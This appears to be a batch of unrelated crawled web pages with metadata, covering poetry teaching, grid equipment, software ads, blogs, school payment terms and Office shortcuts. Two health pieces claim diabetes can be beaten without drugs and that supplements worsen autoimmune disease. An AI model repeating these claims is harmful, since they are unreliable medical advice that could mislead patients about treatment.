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The Lawrence Hart Institute – The Lawrence Hart Institute develops the literary insights and instructional methods of teacher/critic Lawrence Hart (1901-1996). Poet, teacher, and critical maverick Lawrence Hart (1901-1996) was one of his century’s deepest and orneriest thinkers about poetry. No uncritical booster of the art, Hart rejected the bulk of the writing that goes by the name of poetry as insufficiently exciting—and sought to define exactly what is going in in that small percentage of verse that makes the whole pursuit worthwhile. Concentrating on the EuroAmerican Modernist tradition from Baudelaire to Auden, he brought to the canon a critically squinting eye. What exactly, he demanded, were these poets up to? Just how did they build the startling, resonant effects that make their best lines and poems so hard to forget? When they didn’t quite get there, what is the difference? And if there are identifiable, concrete tools in play, why shouldn’t any dedicated writer be able to pick them up and use them? Hart thought he had some answers, and shared them with all comers in classes taught for fifty years in the San Francisco Bay Area. The most serious of the poets who studied with Hart became known as the Activist Group; they were prominent on the American scene in the 1940s and 1950s. Then the Modernist experimental thrust, of which the Activists were a late part, seemed to run out of steam. As the century wore on, the fashion turned toward an easier kind of verse, requiring much less of writer and reader, sometimes hard to distinguish from prose. “Raw” poetry, The New Yorker called it approvingly, instead of the older “cooked.” Hart and his colleagues shrugged their shoulders and kept on cooking, following their own more rigorous lines. Their “kitchen” came to be known as the Lawrence Hart Seminars. Since Hart’s death in 1996, the seminars have been continued by his son John under the auspices of the Lawrence Hart Institute, a nonprofit corporation created in 1983. In the new century, several successors on this technical path are again calling themselves Activist poets—reviving the imperfect but historically sanctioned label for this manner or pursuing poetic excellence. To use the capabilities of language as fully and daringly as we can—whatever the undertow of contemporary poetic fashion. To stop at nothing in pursuit of the Unforgettable. The Lawrence Hart Institute exists to document, to share, and to continue this exacting approach to the art of poetry. When you begin to write a poem—to turn a living, actual experience, something that moves you deeply, into words on paper—you re doing something by nature impossible. From that stubborn, intractable beast, the English language, you need all the help you can get.	{ "timestamp": "2019-04-25T20:29:14", "url": "http://lawrencehart.org/", "language": "en", "source": "c4" }
VIZIMAX’s PMU and AMU provide the high accuracy, synchronous measurements of magnitudes, frequency and phasors sought after for advanced power system monitoring, protection and control. A key element of Wide Area Measurement Systems (WAMS), VIZIMAX’s PMU exceeds C37.118 requirements for M & P class accuracy and offers TSO and DSO a remote access to synchronous data for a largely improved situational awareness, smarter real-time control and very advanced remedial action schemes. Achieve highly responsive protection schemes, improve grid stability monitoring and control of power plants with ultra-fast and stable ROCOF calculations, phasors and electric parameters. The introduction of new substation technology should not mean end of life of proven and reliable installed IEDs. Add intelligence and processing power to IEDs and controllers for an easy performance upgrade of legacy equipment to new industry standards with minimal impact on costs. Modular and scalable control technologies for a wide variety of power installations, ranging from remote controllers within distribution grids to unlimited data aggregators in transmission substations. Control costs, limit your CAPEX, and get the most of your HV-MV assets. Applicable to virtually any load switching needs - power transformers, reactive loads / FACTS, power lines, cables - VIZIMAX’s transient free unit features advanced and patented controlled switching strategies for high-voltage and medium-voltage switchgears of any make. Avoid destructive current and voltage transients while keeping your HV-MV equipment and power systems healthy, increasing their lifecycles and improving power quality delivery to clients. VIZIMAX is revolutionizing the world of energy with its state of the art products. See what all the fuss is about, follow our news section and stay up to date on our latest announcements. Our team of experts attends several specialized events, seminars, trade shows and conferences all around the word. Find out where we will be next by checking out our schedule. VIZIMAX’s culture is based on the innovation, the creativity and the flexibility we need to meet the highest performance standards and exceed expectations. Check out our latest job opening and learn more about us. Copyright © 2019 of Vizimax Inc. All rights reserved.	{ "timestamp": "2019-04-22T05:11:18", "url": "https://www.vizimax.com/en/", "language": "en", "source": "c4" }
Looking for an easy way to find mistakenly deleted photos on iPhone? This page will help you out with just few steps. If you backed up before, you can find deleted photos on iPhone with iTunes or iCloud backup. But you have to perform a complete restore on iPhone. Primo iPhone Data Recovery is a powerful iOS recovery software, giving you chances to see all photos you deleted from iPhone in thumbnails. Download Primo iPhone Data Recovery to find deleted iOS data from iPhone. The post below will show you how to see deleted photos on your iPhone. Click here to download it. Storage space of iPhone is always limited for those who love to shoot photos. When your iPhone runs out of memory, you may choose to clear space by deleting some useless photos and emptying the Recently Deleted album. Sometimes tragedy happens. You may mistakenly delete some valuable photos. In that case, what can we do to find these important photos on iPhone quickly? Common sense tells iTunes or iCloud helps back up photos. So checking iPhone photos through iTunes/iCloud backup works. But you can only see the whole photo database, not individual photos. In addition, photos deleted from iPhone before the backup cannot be found in the iTunes/iCloud backup. Fortunately, with the aid of some iOS data recovery applications, all deleted photos on iPhone can be seen as long as your original data remains not overwritten. Here we introduce Primo iPhone Data Recovery, which is a professional iPhone data recovery tool. Read on the post below to find your deleted photos on iPhone. Primo iPhone Data Recovery gives you industry-leading data recovery solutions with super easy process. No matter personal info, media or app files, it helps you find and retrieve them from iPhone with ease. Allows you to view all the photos that you deleted in thumbnails, which is convenient for you to find the deleted photos on iPhone you need. Enables you to choose certain types of iOS files like Camera Roll, Photo Stream and Photo Library to scan, making it a time saver. After tracking the deleted photos, it even permits you to recover them directly from your iPhone in just a few seconds. Besides photos, it’s also capable of finding and recovering 26 types of iOS files on iPhone or iPad, such as contacts, messages, notes, videos and so on. At the beginning, Get Primo iPhone Data Recovery to your computer. Step 1. Open Primo iPhone Data Recovery > Connect your iPhone with computer > Choose the Recover from iOS Device option > Click Next. Step 2. Preview and select the photos you want to restore and click Recover button. As an iTunes/iCloud backup extractor, Primo iPhone Data Recovery enables to extract certain iOS files from your iTunes or iCloud backup instead of restoring the whole backup. Now download Primo iPhone Data Recovery to explore more. How to Find Deleted Messages on iPhone – The article shows you how to find deleted messages on iPhone. How to Recover Deleted Contacts from iPhone SE – The post shows a quick way to retrieve contacts on iPhone SE. How to Retrieve Deleted Videos from iPhone – The tutorial helps you retrieve deleted videos from iPhone quickly. How to Retrieve Deleted Safari History on iPhone 7/7 Plus – Read the post to know how to retrieve deleted Safari history on iPhone.	{ "timestamp": "2019-04-24T12:52:42", "url": "https://www.primosync.com/support/how-to-find-deleted-photos-on-iphone.htm", "language": "en", "source": "c4" }
Todd McNutt has spent over 24 years involved with the information industry. Initially as part of their legal invasion of privacy but mostly helping teach people how to protect their personal privacy. After inventing a device to detect RFID in packages, products, pets and even people he has written this book, “Other People’s Secrets… Your Live UN-redacted” to expose the entire impact that technology is having on our personal privacy and how WE can stop it, TODAY!	{ "timestamp": "2019-04-19T11:26:35", "url": "https://www.truthpr.com/todd-a-mcnutt-the-criminals-are-having-no-problem-reading-the-chips-off-of-your-credit-debit-cards-id-cards-and-implanted-rfid-cards/", "language": "en", "source": "c4" }
Adult Diabetes - A Disease Of Choices! We don't tend to think that when we munch a juicy burger, supplemented by crisp fries and an icy cold drink that we are munching diabetes, in fact that very idea is rather revolting isn't it? Yet, there is more truth in it than we may like to acknowledge. Diabetes is a disease of lifestyle ' more specifically, it is the result of lifestyle choices. Lifestyle choices include what we choose to put in our mouths and how much exercise we give our bodies. If we choose poorly, we will get poor results. If we choose to do those things that are risk factors for Adult Diabetes (Diabetes Type 2), then we are choosing diabetes. Ignorance is no excuse under the law of the human body. Certain causes equal certain effects no matter how we might think otherwise. Experts have linked diabetes to diets high in processed foods and low in raw foods, high in sugar and fat and low in fiber, and poor water drinking habits (instead preferring other fluid intake). They also link diabetes to inactivity and obesity. These factors can be controlled. They are not genetic and they are not 'caught'. This is actually good news because it means that diabetes can be avoided along with all the risks attached to it, such as blindness, amputation of limbs, chronic kidney disease and others. Even if a person has abused their body over a prolonged period of time and is a likely candidate for diabetes, they can turn it around and change their future by changing their lifestyle now. If they start walking every day, make sure they drink plenty of pure water, eat plenty of raw foods and avoid processed, sugary and fatty foods, their body will begin to recover. Even if a person already has diabetes, these changes can alleviate the symptoms and reduce the risk of serious complications that are possible with diabetes. Blood sugar levels can be kept at a normal level and general health and well being will improve. Yes, diabetes is a disease of choice. It may not be conscious, but it is the outcome of lifestyle choices that can be changed. Diabetes can be defeated, not with drugs but with decisions. We all need to wake up and pay attention to the consequences of living a normal western lifestyle. Just because it is accepted, doesn't make it right. We are all entitled to live a healthy and stable life, but to do this, we must begin swimming against the current and say 'no' to western lifestyle pressures and 'yes' to natural, healthy choices. Are you a diabetes education professional? Learn how DiaMed - Diabetes Management Software can help you.	{ "timestamp": "2019-04-23T16:00:31", "url": "http://www.4-oc.com/adult_diabetes__a_disease_of_choices_395961a.html", "language": "en", "source": "c4" }
Over the years I have talked (and talked and talked) about the Enneagram. It has been a personal growth tool that has helped me make such positive changes in my own life! I love it so much that I also use it with my life coaching clients. I’ve been asked by different people to share some info on the basics to help people get started with learning their own Enneagram type. So I shared this video on Facebook and wanted to give it a place on my site where you could listen to it in podcast form, watch the video, or read through it. Whatever you prefer, it is a content smorgasbord! They are probably unaware that they push people away with judgements about what the world should look like and how they or others should behave. A two may not realize that they are putting themselves in a service role to others as a way to feel valuable. They may not even realize that through all of their serving they are creating a relationship where they are needed and hoping to also be served in return. When they feel taken advantage of they can feel a lot of anger and resentment which shows up as martyrdom. Because they are so busy helping and supporting others, they often put themselves on the back burner. A struggle the three will have is identifying who they are from what they do. They have difficulties getting in touch with their own thoughts and feelings – success comes at the expense of your feelings. Fours may not realize how they get wrapped up in themselves and their own thoughts. They can be so focussed on the worst case scenario that others may think they are very negative. The six may not realize that they are projecting their fears and stresses onto those around them – which prevents the six from actually learning the skills and developing the emotional capacity to deal with them on their own. We need 6s because they believe in and establish support systems and communities. They remind us to steward our basic needs. The seven may not realize that because they are constantly moving from one thing to the next – those around them feel like they might not be seen or heard in the moment. They might come across as flaky. The eights can quickly judge others who they view as weak or indecisive and may push them away without giving them a chance. We need 8s because they are great leaders who can use their powerful nature combined with truth and love to make amazing changes in this world. Because a nine avoids being controversial and is so accommodating they can lose touch with themselves and the things they actually want in life. When they constantly avoid conflict in their relationships, they are driving a pretty wedge in the intimacy. MY STORY: If you want to read more about my journey learning the Enneagram and how it has helped me in my parenting and marriage and life, read this post. YOUR TYPE: To learn your type try this quiz, but really you need to read more about the types to see what really sticks for you. ASK ME A QUESTION: If you would like to hear more about the Enneagram email me your questions and let me know! GET COACHING: I use the Enneagram in my life coaching. If you are looking for a life coach to help you with blind spots and new direction, read more here.	{ "timestamp": "2019-04-18T15:19:51", "url": "https://simpleonpurpose.ca/enneagram101/", "language": "en", "source": "c4" }
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Classical music: Who should be Musician of the Year for 2017 and why? At the end of each year for the past nine years, The Ear has named a Musician of the Year. It can be an individual, a small group or a large ensemble. But it must be a local music-maker, not just a presenter. In past years, The Ear named the mostly amateur Middleton Community Orchestra; the long-lived and thoroughly professional Pro Arte Quartet; the recently formed and always impressive Willy Street Chamber Players (below); and the veteran and always reliable summer chamber music group, the Bach Dancing and Dynamite Society. He has also named retired UW-Madison professor and conductor James Smith; Madison Bach Musicians founder and director Trevor Stephenson; Madison Symphony Orchestra and Madison Opera conductor John DeMain (below, in a photo by Prasad); and UW collaborative pianist Martha Fischer. If you want to check out those postings, you can use the blog page. Just enter Musician of the Year in the search engine. Or go to the calendar and look it up by the date it appears, which is usually Dec. 30 or 31. To be honest The Ear already has a nominee in mind for this year. But it is not set in stone and definite yet. And he thought it would be informative and entertaining to open up the process and ask readers for their suggestions. So if you have a name to nominate for Musician of the Year for 2017, please use the COMMENT section to leave the name of the recipient you propose and why they deserve the honor. The opening concert of the new season of the Pro Arte Quartet (below, in a photo by Rick Langer) is this coming Sunday night, Sept. 24, at 7:30 p.m. in Mills Hall. In early October, the internationally celebrated violist Nobuko Imai (below) returns to the UW-Madison campus, on her way from Europe to a concert in Minneapolis. Her master class on viola and chamber music will be on Wednesday, Oct. 4, at 7:30 p.m. Morphy Recital Hall. It is FREE and OPEN TO THE PUBLIC. The following day, Thursday, Oct. 5, at NOON in Mills Hall, Imai will perform a FREE public concert with members of the Pro Arte Quartet and guest cellist Jean-Michel Fonteneau (below). The program is a single work, a masterpiece: the Brahms G Major Viola Quintet, Op. 111. It is legendary for the first viola part, according to a member of the quartet, and Imai would herself be legendary in this role. Cellist Fonteneau is a member of the San Francisco Trio, and is familiar to Madison audiences through his many acclaimed appearances with the Bach Dancing and Dynamite Society. The Pro Arte’s second concert, also FREE and open to the public, is Saturday night, Oct. 28, in Mills Hall. It is will be all Schubert – the flute and piano theme and variations, and the Schubert Octet, featuring members of both the Wingra Wind Quintet and the Pro Arte Quartet. The Pro Arte Quartet’s longtime cellist Parry Karp continues to teach and coach chamber musicians, but he has been sidelined by a finger injury and will not yet be back to perform these concerts. He is scheduled to return to performing in November, according to Chisholm. The Ear has long had a fondness for the works of the 20th-century British composer Gerald Finzi (below). His work may be relatively tweedy and conservative, but it is unmistakably modern. It is very poignant and appealing, with accessible harmonies and beautiful melodies. He seems much like a British Samuel Barber. Ever since he first heard it maybe 20 years ago, The Ear has loved Finzi’s pastoral Eclogue for Piano and String Orchestra, which was meant to be the slow movement of a piano concerto but ended up being an independent work. And, judging by how increasingly often it gets played on Wisconsin Public Radio, the Eclogue seems to be a favorite among a growing number of fans. But there are other works. There is the Romance for Violin and Small Orchestra. There is the Romance for String Orchestra. There is the Concerto for Cello. There is his Romance for Clarinet and String Orchestra as well as the Five Bagatelles for Clarinet and Orchestra. And now The Ear has discovered the slow movement — appropriately marked “very serene” — of the Violin Concerto by Finzi, which you can hear in the YouTube video at the bottom. If you want to hear the whole concerto, it is available for free on YouTube from a couple of different performers. And you can find many other works by Finzi on YouTube. In any case, The Ear hopes the Violin Concerto gets programmed at a local concert. This past summer, the Bach Dancing and Dynamite Society featured a song cycle by Finzi. Even so, we need to hear more music by Gerald Finzi in live performances. Finzi was a modest and retiring man, publicity shy and not given to self-aggrandizement or self-promotion, who went underperformed and underappreciated during his lifetime. But he is an extremely welcoming and moving modern composer. The Ear thinks he deserves a better place among other modern British composers who have become more popular, including Ralph Vaughan Williams (shown, below right, with Finzi), Benjamin Britten, Frank Bridge, William Walton and others. Are there other Gerald Finizi fans out there? And what is your favorite work by Gerald Finzi?	{ "timestamp": "2019-04-20T02:43:02", "url": "https://welltempered.wordpress.com/tag/bach-dancing-and-dynamite-society/", "language": "en", "source": "c4" }
Bank transfer to GADIR, Escuela Internacional de Español, account no. 0081-0340-53-0001089519, Banco de Sabadell, Avenida Ramón de Carranza 28, Cádiz – Spain. 2. The rest of the total course amount due (minus the advance payment of 200,00 €) must be paid during the first three course days at the school in cash, if not before the course starts by bank transfer. 3. Accommodation must be paid for during the first three course days at the school in cash. 4. All expenses related to sending money will be paid for by the applicant. It must be taken into account that bank transfers cause expenses both to the issuing and the receiving bank. 5. It is not possible to pay via credit card nor with any other method of payment which has not been specified above. - If the cancellation is received before 30 days have elapsed prior to the start of the booked course, the school will charge the student the amount of 100.00 € as cancellation charges. - If the cancellation is received during the 30 days prior to the start of the booked course, the school will charge the student the amount of 200.00 € as cancellation charges. - If the cancellation occurs after 12:00 a.m.on Fridayprior to the start of the course, the school will charge the student the whole amount of the reservations made, be it for the courses or for accommodation.	{ "timestamp": "2019-04-19T11:02:48", "url": "http://gadir.net/enrolment-and-prices/payment-methods/payment-methods.html", "language": "en", "source": "c4" }
There’s a tiny, thin, see-through curtain dividing first class and coach seating on this plane, how appropriate as an analogy describing how we’re all in this together – this life, this flight….same thing. Sure we may be separated but the degree is small, frail, fleeting, self-imposed and largely ridiculous, much like the see-through curtain. I love it all – from the flight safety information cards in the seat pocket in front of me (which I tend to steal) to the tiny windows, overhead push button lights, tray tables, and stale air vents. It’s so easy to be content only we fight against it not knowing that our quality of life rests in our ability to go with the flow, not understanding that what we water is what grows and the more we frown the more we keep frowning and the more we smile the more we keep smiling and the more time we spend compiling reasons to be happy the less we’ll have time for complaining when things don’t go exactly as planned, which they rarely do. So buckle up my in flight friends. The fasten seat belt sign is lit. Enjoy this moment, right here and right now, cause this moment, this life, this flight… this is it! In preparation for a teaching talk I’m giving later this morning, at a day of mindfulness my local sangha is hosting, I’ve drawn this elementary depiction of what I consider to be the two energy tanks we all have. An external tank, which consists of our physical selves, and our internal tank, consisting of our mental and emotional activities. The double sided arrow is to show that energy is exchanged back and forth between the two tanks. What affects one affects the other. The tanks aren’t separate. Mind and body are one. My talk is about how when we think about expending energy we often think about physical output and movement and how we may not realize that we also use a great deal of energy internally based on our thoughts and emotions. Our external energy tanks are pretty simple to figure out. As humans, whenever we’re awake and active we’re using physical energy – energy is flowing out in everything that we do. But our internal energy tanks are more complex and challenging to figure out. Whenever we’re over-thinking, worrying, ruminating, complaining, judging, or caught up in anger, fear, anxiety, blame, or stress we’re exerting a great deal of energy as well. Energy is flowing out often at a rapid pace when we engage in these types of internal activities. The good news is that just as energy can flow out of both tanks it can also flow back in. How we respond to what’s unfolding in the present moment determines whether our energy tanks are being depleted or replenished. When we’re fighting against what’s happening in the present moment energy is being depleted and when we’re embracing what’s happening energy is being restored. Zen Master Thich Nhat Hanh is often referred to as Thay (pronounced Tie) by his students. Thay means teacher in Vietnamese. Searching for a magazine earlier in the week to bring with me to read on my lunch break at work I came across an old edition of Shambhala Sun from January of 2012 featuring Thay on the cover. It in there’s an interview with Thay and a personal account from the magazine’s deputy editor on having attended one of Thay’s large retreats. As I re-read the interview I was reminded once again of how much I appreciate Thay and his teachings and how grateful I am to be one of his students.	{ "timestamp": "2019-04-23T23:07:15", "url": "https://goingoutwordsandinwords.wordpress.com/2015/03/", "language": "en", "source": "c4" }
In Japan . . . In Japan, Microsoft have replaced the impersonal and didactic Error Messages with messages in traditional Haiku poetic form. Haiku poetry has strict constructional rules. five syllables in the first line; seven in the second; five in the third. Haiku is used to communicate a timeless message often achieving a wistful, yearning and powerful insight through extreme brevity: the essence of Zen. Screen, mind, both are blank.	{ "timestamp": "2019-04-19T00:27:15", "url": "http://jank.se/jokes/in_japan.htm", "language": "en", "source": "c4" }
Man’s fall in sin left its mark upon his sexuality. It seems that in this aspect of life humanity started to experience sin and its serious consequences that are manifested with the beginning of life on this earth. The sin has dulled man’s view about himself, about God and about sexual relation. Immediately after the fall in sin Adam and Eve’s “ eyes were opened, and they knew that they were naked; and they sewed fig leaves together and made themselves loin coverings.”(Genesis 3:7) because their view about sexuality was badly affected and made them be ashamed even of each other, being husband and wife. But in the beginning, as we have seen in the first article with the same title, God created the sexual relation exclusively for husband and wife, having these purposes: 1) multiplication 2) insurance and protection of the couple’s unity 3) to give love, affection and cherish to his/her marriage partner. These are at least two more important reasons that need to be shown. Drink water from your own cistern and fresh water from your own well. Should your springs be dispersed abroad, streams of water in the streets? Let them be yours alone and not for strangers with you. Let your fountain be blessed, and rejoice in the wife of your youth. As a loving hind and a graceful doe, let her breasts satisfy you at all times; be exhilarated always with her love. (Proverbs 5:15–19)(NASB). As I have stated in the previous article, the phrase “will be joined to his wife” refers to the physical contact. The Word of God says in this passage that this physical contact of husband and wife is a mystery that reflects the reality of Christ’s unity with His Church and the joy of the fulfillment given to the partners of their physical contact is a shadow of the true joy that the Christians will experience at the coming of Jesus Christ from heaven and then, when they will be in eternity, with Him, in the Kingdom of His Father. May God help each of us to live nicely before Him and before people, reflecting our Creator through our sexual behaviour.	{ "timestamp": "2019-04-25T06:42:26", "url": "https://moldovacrestina.md/en/why-did-god-create-sexual-relation-part-ii/", "language": "en", "source": "c4" }
The Greasy Strangler review a grossout comic smack in the face - Safer Reviews, Unbiased & Independent Reviews. Bad taste is extruded from this outrageously revolting movie like poisoned mince from a rusty meat grinder. And, despite having neglected to smoke the hundredweight of weed I really needed to appreciate it properly I did laugh. Theres actually a touch of real inspiration in the final few minutes. Its the US-set feature debut from British director Jim Hosking, with Ben Wheatley serving as an executive producer: a macabre display of grossout-grotesque, with a touch of John Waters, Harmony Korine, David Walliams and Matt Lucas. (Little America could almost be an alternative title.) Brayden (Sky Elobar) is a sad, overweight, middle-aged guy who lives with his revolting father Ronnie (Michael St Michaels), a retired disco manager whom Brayden suspects correctly of being the notorious Greasy Strangler, a serial killer who smears cooking fat all over his naked body before wandering the streets killing people. By day, the pair of them dress in matching pink gear to run a highly unreliable walking guide to their hometown and its associations with disco legends. Father and son fall in love with the same female tourist who takes the tour. It doesnt look like its going to end well. Nor does it. Pure uncompromising yuckiness is what this comedy delivers. A grossout smack in the face. Deplorable. Unspeakable. Often funny.	{ "timestamp": "2019-04-22T06:22:37", "url": "http://www.saferreviews.com/the-greasy-strangler-review-a-grossout-comic-smack-in-the-face/", "language": "en", "source": "c4" }
Happy weekend everyone! Hope you all have faaabulous plans.. This entry was posted in Others and tagged Funny Picture, Joke on April 27, 2012 by AbsolutelyFaaabulous. This entry was posted in Art & Design and tagged Milan Furniture Fair, Missoni Home, Salone del Mobile on April 23, 2012 by AbsolutelyFaaabulous. This entry was posted in Art & Design and tagged Milan Design Week, Milan Furniture Fair, Versace Home, Versace Showroom on April 21, 2012 by AbsolutelyFaaabulous. Milan Design Week: Visit of the Art / Design Installations! This entry was posted in Art & Design and tagged Canon, Carrera, Designers, Fuori Salone, Milan Design Week, Salone del Mobile, Samsung on April 18, 2012 by AbsolutelyFaaabulous. This entry was posted in Beauty and tagged Maekup School, Makeup, Makeup Trends, Makeup Tricks, Max Factor, Popular on April 17, 2012 by AbsolutelyFaaabulous. What is a Press Day? This entry was posted in Fashion Events and tagged New Collections, Press Day, Showroom on April 15, 2012 by AbsolutelyFaaabulous. This entry was posted in Beauty and tagged Diet, Post-Easter on April 13, 2012 by AbsolutelyFaaabulous. What to do on a Rainy Day but to Browse the upcoming Fall / Winter Collections!? This entry was posted in Fashion Events and tagged Equipment, Fashion, Milly, Showroom on April 11, 2012 by AbsolutelyFaaabulous. What are your plans for this loooong weekend? Chilling out around the pool? Or simply relaxing at home? In any case: happy loooong weekend everyone! This entry was posted in Others and tagged Easter on April 6, 2012 by AbsolutelyFaaabulous. The Precious Streets of Los-Angeles.. This entry was posted in Art & Design and tagged A Common Name, Art & Design, Los-Angeles on April 2, 2012 by AbsolutelyFaaabulous.	{ "timestamp": "2019-04-22T12:13:13", "url": "https://absolutelyfaaabulous.wordpress.com/2012/04/", "language": "en", "source": "c4" }
When you need managed services to maintain peak operation in the IT network of your small business, consider us here at Actinion. We'll manage all of your IT services for a flat-rate fee so you can focus your efforts on spurring your revenues to grow. Let us give you the peace of mind you deserve with your small business today with Actinion's managed services. Predictable costs 24/7 – Actinion doesn't charge you more when your network is down or a server fails. Our flat-rate fee covers all of that whenever you need it done.	{ "timestamp": "2019-04-26T04:56:01", "url": "https://www.actinion.net/managed-services/", "language": "en", "source": "c4" }
This is a placeholder page for Matt Carner, which means this person is not currently on this site. We do suggest using the tools below to find Matt Carner. You are visiting the placeholder page for Matt Carner. This page is here because someone used our placeholder utility to look for Matt Carner. We created this page automatically in hopes Matt Carner would find it. If you are not Matt Carner, but are an alumni of Madison Plains High School, register on this site for free now.	{ "timestamp": "2019-04-19T17:23:46", "url": "http://madisonplainshighschool.org/alumni/450810/matt-carner.html", "language": "en", "source": "c4" }
Using keyboard shortcuts is one way to get around in any Office 2016 application without using a mouse. But you can make it even quicker by adding buttons to the Quick Access Toolbar that represent your favorite features, and then you can access them by pressing ALT, and the coordinating number key. What is the Quick Access Toolbar and what are Key Tips? What's the Quick Access Toolbar? The Quick Access Toolbar is located in the upper left corner of the Word, PowerPoint, or other Office app window, just above the File tab. It lets you customize quick shortcuts for commands that you use often. When the lettered Key Tips appear, press F to open the File tab. Press T to open the Options tab. In the PowerPoint Options box, use the down arrow to move down to the Quick Access Toolbar tab. Press Tab to move into the Customize Quick Access Toolbar box. Press C to open the drop-down feature list (under Choose commands from). Use the down arrow to scroll to the tab that contains the feature you want to add. TIP The tabs are listed in the order as they appear on the ribbon. Press Enter to select a tab. Press Tab to move to the list of features on the tab you just selected. Use the down arrow to scroll through the features in the list. When you find the feature you want to add to the Quick Access Toolbar, press Alt + A. Use the down arrow to continue to scroll through the other features you want to add. To access a feature you added to the Quick Access Toolbar, press Alt and then press the Key Tip number associated with the button.	{ "timestamp": "2019-04-22T16:42:04", "url": "https://support.office.com/en-gb/article/use-keyboard-shortcuts-to-add-features-to-the-quick-access-toolbar-caba65f5-c6d7-43ab-a1ee-5275423b2ad0", "language": "en", "source": "c4" }
Avoid These Trigger Foods Like the Plague! In fact, inflammation can impact almost every system and every organ and major tissue in the human body! As a result, an effective nutritional program must address and reduce inflammation as well as other biological processes such as excess oxidation. Interestingly, some of the foods that are good for people with Type 2 diabetes are also good for people with an autoimmune disease because these foods have anti-inflammatory properties, e.g. leafy green vegetables, raw juices, garlic, extra virgin coconut oil, free range chicken, wild salmon. Similarly, some of the foods that should be avoided by people with Type 2 diabetes should also be avoided by people with an autoimmune disease because these foods fuel inflammation in the cells. The DTD Autoimmune Protocol (AIP) & Autoimmune Diseases Nutritional Program is that program. This program utilizes attributes of the Autoimmune Protocol (AIP) and the Death to Diabetes Nutritional Program. In order to successfully fight and defeat this disease, you need a powerful macronutrient and micronutrient dense, and comprehensive nutritional protocol that will stop the progress of your disease at the cellular level. When I use the term "nutrient-dense and comprehensive" I mean that the nutritional program must be comprehensive enough such that it includes enough of the right foods so that you are dealing with any major vitamin/mineral/amino acid deficiencies, e.g. Vitamin A, Vitamin B12, Vitamin D, Vitamin K2, CoQ10 and ALA; and, also Omega-3 EFAs. Why is this important? Because most autoimmune diseases and other systemic diseases such as Type 2 diabetes, heart disease and cancer can be linked back to these critical nutrients. Now, some of you are taking supplements for most of these critical nutrients, but, most of these supplements are synthetic. Plus, these supplements contain additives, fillers, and heavy metals, which can trigger an autoimmune response! And, don't be fooled by "natural" supplements. After all, coal tar is considered natural so it is used in manufacturing a lot of different so-called "natural" supplements. In addition to a nutrient-dense program, you need a nutritional program that is science-based and is not the latest fad diet in a long line of failed fad diets. You need a nutritional program that addresses more than the symptoms by addressing the 7 major biological root causes of your autoimmune disease: inflammation, oxidation, toxicity, hormonal imbalance, immune dysregulation, nutrient deficiencies, and cell communications. That program is the DTD Autoimmune Protocol (AIP) & Autoimmune Diseases Nutritional Program. These four key elements of this nutritional program will help to address the root causes of your autoimmune disease and the biological processes that fuel this disease, e.g. inflammation, oxidation, toxicity, dysregulation, hormonal imbalance, nutrient deficiencies. The DTD Autoimmune Protocol (AIP) & Autoimmune Diseases Nutritional Program is a comprehensive nutritional program that is flexible and customizable. As a result, we have designed the DTD Autoimmune Protocol (AIP) & Autoimmune Disease Nutritional Program to address these issues and provide a customizable approach to modulating and rebalancing your immune system. This nutritional program identifies the key super foods (or "allowable" foods) to eat, such as green vegetables, bright-colored vegetables, some low glycemic fruits,wild-caught fish, grass-fed animal meat, and plant oils such as extra virgin olive oil and coconut oil. The DTD Autoimmune Protocol (AIP) & Autoimmune Diseases Nutritional Program provides an array of vitamins, minerals, antioxidants, essential fatty acids, and amino acids in order for the immune system to function normally. Micronutrient deficiencies and imbalances are key players in the development and progression of autoimmune disease. The purpose of the first diagram is to give you a high level overview of the Autoimmune Protocol (AIP) & Autoimmune Diseases Nutritional Program and its major components. Note: Some of the specific nutritional strategies are explained below and in the Autoimmune Diseases ebook. Please Note: If you don't have an autoimmune disease, but, if you have allergies or if you are hyperactive, have mood swings and/or crave sweets, you may need to eliminate what we refer to as "trigger" foods. Also, if you have any gastrointestinal problems, you may want to avoid these "trigger" foods. A sound and effective nutritional program must have "max coverage". My guess is that you probably haven't heard the term "max coverage" in relation to a nutritional program. Most nutritional programs don't talk about "max coverage" because most programs can't achieve max coverage! "Max coverage" is a concept that I created years ago when I was designing my Death to Diabetes Nutritional Program for Type 2 diabetics. There was a lot of controversy and conflicting information about what foods that i should eat as a Type 2 diabetic. So, I decided to do a "bottoms up" analysis of all foods and what nutrients they provide. In addition, I did a root cause analysis of Type 2 diabetes at the cellular level to understand exactly what biological processes in the body actually fuel this disease, e.g. inflammation, oxidation, toxicity, nutrient deficiencies. And, finally, I evaluated each food and its nutrient content to understand how that food/nutrient affected disease pathology at the cellular level. During this last part of the analysis, this is where I discovered (or confirmed) that there were several critical vitamins, minerals and other nutrients that most diabetics were not getting, e.g. chromium, potassium, fiber, chlorophyll, biotin, zinc, selenium, glutathione, Omega-EFAs, etc. I believe that in-depth analysis helped me to design a very effective program that has helped diabetics in the U.S. and now around the world. As a result, my Death to Diabetes book is now one of the top-selling diabetes books in the country; and, recently, went international! (yay). Since that process worked so well back then (2002-2004), I decided to use the same process with autoimmune diseases starting around 2008 when some of my diabetic clients came to us with thyroid issues and chronic fatigue issues. At that time, I didn't really expect to find any earth-shattering differences or discoveries that I wasn't already aware of. But, from a scientific perspective, I wanted to be certain of my conclusions. I didn't want to cause any unintended harm or embarrass myself at a conference because I had made some bad assumptions about the science. Wow! As it turned out, there were several significant nutrient deficiency issues! Some of these deficiencies had been discovered during my Type 2 diabetes analysis, but, they weren't as impactful to Type 2 diabetics (at that time) as they were to people with autoimmune diseases! The bottom-line here is that there are at least 10 major nutrient deficiencies that have a dramatic effect on people with autoimmune diseases. It turns out that these nutrient deficiencies also affect Type 2 diabetics, which is why I believe more Type 2 diabetics are coming to us with an autoimmune disease or leaky gut! Most of you are probably taking supplements to address most of these, but, most supplements really don't help because they're either "natural" or synthetic. In fact, supplements can make your autoimmune disease worse! Instead, food sources such as vegetables, fruits, plant oils, nuts, seeds, wild-caught fish,and grass-fed meats are the best options for most of these nutrients, especially Vitamin A, Vitamin B12, amino acids, collagen, gelatin, CoQ10, Omega-3 EFAs, and ALA. Consequently, in order to defeat your autoimmune disease or any disease for that matter, you must include the super food that will provide "max coverage" of the macronutrients and especially the critical micronutrients built into the program, e.g. bone broth, beef liver, unprocessed cod liver oil. So, do you have "max coverage"? If you're not sure, you'll need to do a nutrient gap analysis based on what you're eating; or, just get the Autoimmune Diseases ebook, which has the nutrient gap analysis built into the nutritional program. Most people don't believe or are aware that they have a vitamin, mineral or some other nutrient deficiency. Ironically, this is one of the reasons why nutrient deficiencies are on the rise! The other reason has to do with the testing. Since the blood test limit is set so low (usually based on RDA standards, which are out of date), most deficiencies are overlooked. For more details about specific vitamin and mineral deficiencies, how 